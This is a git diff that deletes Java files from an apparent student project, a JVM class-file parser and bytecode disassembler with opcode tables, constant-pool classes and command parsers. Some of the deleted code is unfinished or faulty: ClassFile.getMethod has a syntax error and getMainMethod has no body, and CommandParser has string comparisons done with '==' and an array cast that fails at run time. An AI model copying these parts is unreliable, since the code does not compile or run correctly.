-        super(attrNameIndex, attrLen);
-
-    }
-
-    public static LineNumberTable parse(ByteCodeIterator iter, int attribute_name_index) {
-        int ccc = (iter.codes.length);
-        long attribute_len = iter.nextU4ToInt();
-        int line_number_table_len = iter.nextU2ToInt();
-        LineNumberTable table = new LineNumberTable(attribute_name_index,(int)attribute_len);
-
-        /*byte[] bytes = iter.getBytes(line_number_table_len);
-        ByteCodeIterator lntIter = new ByteCodeIterator(bytes);*/
-
-
-        /*while (lntIter.isNotEnd()) {
-            //int c = lntIter.codes.length;
-            LineNumberItem item = new LineNumberItem();
-            item.setStartPC(lntIter.nextU2ToInt());
-            item.setLineNum(lntIter.nextU2ToInt());
-            table.addLineNumberItem(item);
-        }*/
-
-
-
-        for (int i = 0; i <line_number_table_len ; i++) {
-            LineNumberItem item = new LineNumberItem();
-            item.setStartPC(iter.nextU2ToInt());
-            item.setLineNum(iter.nextU2ToInt());
-            table.addLineNumberItem(item);
-        }
-        return table;
-    }
-
-    public String toString(){
-        StringBuilder buffer = new StringBuilder();
-        buffer.append("Line Number Table:\n");
-        for(LineNumberItem item : items){
-            buffer.append("startPC:"+item.getStartPC()).append(",");
-            buffer.append("lineNum:"+item.getLineNum()).append("\n");
-        }
-        buffer.append("\n");
-        return buffer.toString();
-
-    }
-
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index e1cd5247fb..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo {
-
-    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
-    public LocalVariableTable(int attrNameIndex, int attrLen) {
-        super(attrNameIndex, attrLen);
-    }
-
-    public static LocalVariableTable parse(ByteCodeIterator iter,int attribute_name_index) {
-		int attribute_len = iter.nextU2ToInt();
-
-		byte[] bytes = iter.getBytes(attribute_len);
-		ByteCodeIterator lvtIter = new ByteCodeIterator(bytes);
-
-		LocalVariableTable table = new LocalVariableTable(attribute_name_index,attribute_len);
-
-		while(lvtIter.isNotEnd()){
-		    LocalVariableItem item = new LocalVariableItem();
-		    item.setStartPC(lvtIter.nextU2ToInt());
-            item.setLength(lvtIter.nextU2ToInt());
-            item.setNameIndex(lvtIter.nextU2ToInt());
-            item.setDescIndex(lvtIter.nextU2ToInt());
-            item.setIndex(lvtIter.nextU2ToInt());
-            table.addLocalVariableItem(item);
-        }
-
-
-        return table;
-    }
-    public String toString(ConstantPool pool){
-        StringBuilder buffer = new StringBuilder();
-        buffer.append("Local Variable Table:\n");
-        for(LocalVariableItem item : items){
-            buffer.append("startPC:"+item.getStartPC()).append(",");
-            buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-            buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-            buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-        }
-        buffer.append("\n");
-        return buffer.toString();
-    }
-
-    private void addLocalVariableItem(LocalVariableItem item) {
-        this.items.add(item);
-    }
-
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index aa4f4cb5ad..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,113 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-
-    private int minorVersion;
-    private int majorVersion;
-
-    private AccessFlag accessFlag;
-    private ClassIndex clzIndex;
-    private ConstantPool pool;
-    private List<Field> fields = new ArrayList<Field>();
-    private List<Method> methods = new ArrayList<Method>();
-
-    public ClassIndex getClzIndex() {
-        return clzIndex;
-    }
-
-    public AccessFlag getAccessFlag() {
-        return accessFlag;
-    }
-
-    public void setAccessFlag(AccessFlag accessFlag) {
-        this.accessFlag = accessFlag;
-    }
-
-
-    public ConstantPool getConstantPool() {
-        return pool;
-    }
-
-    public int getMinorVersion() {
-        return minorVersion;
-    }
-
-    public void setMinorVersion(int minorVersion) {
-        this.minorVersion = minorVersion;
-    }
-
-    public int getMajorVersion() {
-        return majorVersion;
-    }
-
-    public void setMajorVersion(int majorVersion) {
-        this.majorVersion = majorVersion;
-    }
-
-    public void setConstPool(ConstantPool pool) {
-        this.pool = pool;
-
-    }
-
-    public void setClassIndex(ClassIndex clzIndex) {
-        this.clzIndex = clzIndex;
-    }
-
-    public void addField(Field f) {
-        this.fields.add(f);
-    }
-
-    public List<Field> getFields() {
-        return this.fields;
-    }
-
-    public void addMethod(Method m) {
-        this.methods.add(m);
-    }
-
-    public List<Method> getMethods() {
-        return methods;
-    }
-
-
-    public void print() {
-
-        if (this.accessFlag.isPublicClass()) {
-            System.out.println("Access flag : public  ");
-        }
-        System.out.println("Class Name:" + getClassName());
-
-        System.out.println("Super Class Name:" + getSuperClassName());
-
-
-    }
-
-    private String getClassName() {
-        int thisClassIndex = this.clzIndex.getThisClassIndex();
-        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-        return thisClass.getClassName();
-    }
-
-    private String getSuperClassName() {
-        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-        return superClass.getClassName();
-    }
-
-    public Method getMethod(String methodName, String paramAndReturnType) {
-        Method method = new Method(this,this.accessFlag,)
-
-    }
-
-    public Method getMainMethod() {
-
-
-    }
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a3abeacc82..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index d84508c68b..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,130 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.LinkedList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.sun.org.apache.bcel.internal.generic.BIPUSH;
-import com.sun.org.apache.bcel.internal.generic.INVOKESPECIAL;
-
-public class CommandParser {
-
-    public static final String aconst_null = "01";
-    public static final String new_object = "BB";
-    public static final String lstore = "37";
-    public static final String invokespecial = "B7";
-    public static final String invokevirtual = "B6";
-    public static final String getfield = "B4";
-    public static final String putfield = "B5";
-    public static final String getstatic = "B2";
-    public static final String ldc = "12";
-    public static final String dup = "59";
-    public static final String bipush = "10";
-    public static final String aload_0 = "2A";
-    public static final String aload_1 = "2B";
-    public static final String aload_2 = "2C";
-    public static final String iload = "15";
-    public static final String iload_1 = "1B";
-    public static final String iload_2 = "1C";
-    public static final String iload_3 = "1D";
-    public static final String fload_3 = "25";
-
-    public static final String voidreturn = "B1";
-    public static final String ireturn = "AC";
-    public static final String freturn = "AE";
-
-    public static final String astore_1 = "4C";
-    public static final String if_icmp_ge = "A2";
-    public static final String if_icmple = "A4";
-    public static final String goto_no_condition = "A7";
-    public static final String iconst_0 = "03";
-    public static final String iconst_1 = "04";
-    public static final String istore_1 = "3C";
-    public static final String istore_2 = "3D";
-    public static final String iadd = "60";
-    public static final String iinc = "84";
-
-    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-        codes = codes.toUpperCase();
-        if (codes == "" || codes == null) {
-            throw new RuntimeException("codes为空！");
-        }
-        List<ByteCodeCommand> cmds = new LinkedList<ByteCodeCommand>();
-
-        CommandIterator iter = new CommandIterator(codes);
-        while (iter.hasNext()) {
-            String opCode = iter.next2CharAsString();
-            if (opCode.equals(new_object)) {
-                NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile,opCode);
-                newObjectCmd.setOprand1(iter.next2CharAsInt());
-                newObjectCmd.setOprand2(iter.next2CharAsInt());
-                cmds.add(newObjectCmd);
-            } else if (opCode.equals(dup)||opCode.equals(astore_1)||opCode.equals(aload_0)||opCode.equals(aload_1)||opCode.equals(aload_2)||opCode.equals(voidreturn)) {
-                NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, opCode);
-                cmds.add(noOperandCmd);
-
-            }else if (opCode.equals(ldc)){
-                LdcCmd cmd = new LdcCmd(clzFile, opCode);
-                cmd.setOperand(iter.next2CharAsInt());
-                cmds.add(cmd);
-            }else if (opCode.equals(bipush)){
-                BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
-                cmd.setOperand(iter.next2CharAsInt());
-                cmds.add(cmd);
-            } else if (opCode.equals(invokespecial)) {
-                InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-                cmd.setOprand1(iter.next2CharAsInt());
-                cmd.setOprand2(iter.next2CharAsInt());
-                cmds.add(cmd);
-            } else if (opCode.equals(invokevirtual)) {
-                InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
-                cmd.setOprand1(iter.next2CharAsInt());
-                cmd.setOprand2(iter.next2CharAsInt());
-                cmds.add(cmd);
-            }else{
-                throw new RuntimeException(opCode + "未进行判断！");
-            }
-        }
-
-        calcuateOffset(cmds);
-        ByteCodeCommand[] cmd = (ByteCodeCommand[])cmds.toArray();
-        return cmd;
-    }
-
-    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-        int offset = 0;
-        for (ByteCodeCommand cmd : cmds) {
-            cmd.setOffset(offset);
-            offset += cmd.getLength();
-        }
-
-    }
-
-    private static class CommandIterator {
-        String codes = null;
-        int pos = 0;
-
-        CommandIterator(String codes) {
-            this.codes = codes;
-        }
-
-        public boolean hasNext() {
-            return pos < this.codes.length();
-        }
-
-        public String next2CharAsString() {
-            String result = codes.substring(pos, pos + 2);
-            pos += 2;
-            return result;
-        }
-
-        public int next2CharAsInt() {
-            String s = this.next2CharAsString();
-            return Integer.valueOf(s, 16).intValue();
-        }
-
-    }
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index aea9048ea4..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 466b072244..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
